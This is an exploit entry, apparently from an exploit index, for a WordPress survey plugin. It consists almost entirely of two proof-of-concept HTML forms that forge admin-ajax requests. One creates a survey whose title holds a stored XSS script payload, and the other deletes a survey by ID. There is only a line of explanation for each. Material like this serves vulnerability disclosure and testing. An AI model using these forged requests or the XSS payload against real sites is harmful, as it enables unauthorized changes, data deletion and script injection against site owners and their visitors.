Share
## https://sploitus.com/exploit?id=WPEX-ID:78405609-2105-4011-B18E-1BA5F438972D
To create a survey with an XSS payload in the Title
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="createNewServey" />
<input type="hidden" name="survey_name" value='"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
To delete a survey:
<<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="deleteSurvey" />
<input type="hidden" name="survey_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>